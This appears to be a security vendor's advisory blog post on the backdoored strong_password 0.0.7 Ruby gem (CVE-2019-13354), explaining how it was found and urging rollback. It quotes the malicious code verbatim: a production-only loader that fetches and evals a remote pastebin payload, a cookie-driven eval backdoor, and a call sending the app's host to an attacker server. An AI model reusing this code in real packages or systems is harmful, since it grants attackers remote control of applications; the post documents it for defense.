Concerns of supply-chain attacks amplify as remote code execution was found in Ruby gem strong_password
July 7, 2019
0 mins readOn July 5th, 2019, the CVE-2019-13354 security advisory was published for a malicious version of the strong_password
Ruby gem which allows for remote code execution in applications bundling the vulnerable dependency.
We have already added the vulnerability to our database, and if your Ruby project is being monitored by Snyk, you will have already been notified by our routine alerts. If not, we strongly recommend you to test your project to check if your application is affected by the malicious version.
There is currently no newer version of strong_password
so we recommend you take an immediate action of rolling back to versions before the vulnerable 0.0.7 version.
In total, 537 downloads of the 0.0.7 malicious version were reported by the Rubygems.org website.
About the vulnerability
This vulnerability was discovered by the owner of the blog withatwist.dev. As they reported in their blog, they had become aware of this incident through a manual review that they routinely follow when they upgrade their dependencies.
Through comparing changelogs of published versions and their source code, they realized that the 0.0.7 version was published on Rubygems.org six months after the last release and with no source code changes published to the GitHub repository.
When scanning through the commits for 0.0.7 version of strong_password
the following code snippet caught their attention:
def _!;
begin;
yield;
rescue Exception;
end;
end
_!{
Thread.new {
loop {
_!{
sleep rand * 3333;
eval(
Net::HTTP.get(
URI('https://pastebin.com/raw/xa456PFt')
)
)
}
}
} if Rails.env[0] == "p"
}
To tell the whole story we need to also take a look at the pastebin.com payload that this malicious version makes use of:
_! {
unless defined?(Z1)
Rack::Sendfile.prepend Module.new{define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
super(e)}}
Z1 = "(:"
end
}
_! {
Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })
Now that we have both snippets put together we can tell the whole story:
The attacker was able to compromise the account of the original maintainer of
strong_password
in order to gain publish access rights.A malicious version 0.0.7 was published to Rubygems.org which include the first payload
This malicious version only gets triggered when the application is detected to run in a production environment, and only after running for some time, a request is made to pastebin.com to fetch the further payload and evaluate it.
The second payload from pastebin.com modifies the
Sendfile
method in order to get the value of an HTTP_COOKIE named___id
and evaluates it, therefore allowing any remote attacker to perform remote command execution.Finally, the malicious code also pings to a home server to provide the URL of the running application.
The blog owner reported the issue quickly to the maintainer, who then discovered they had lost access to unpublish or otherwise remediate the situation, and following that had alerted the Rubysec advisories community to take further actions, which resulted in yanking the malicious version 0.0.7 and a CVE assignment for it.
Malicious code vulnerabilities and supply-chain attacks
This story follows the similar case of another Ruby gems package just three months ago.
With bootstrap-sass
, an attacker was also able to compromise a maintainer account on Rubygems.org in order to publish a malicious version that introduces a remote code execution backdoor.
The Rubygems.org repository isn’t alone in supply-chain attacks. Just two weeks ago we shared the story of a malicious package found in npm that targets cryptocurrency wallets. Luckily, in both cases, the community and the security teams of npm and rubygems were able to respond fast enough.
Get started in capture the flag
Learn how to solve capture the flag challenges by watching our virtual 101 workshop on demand.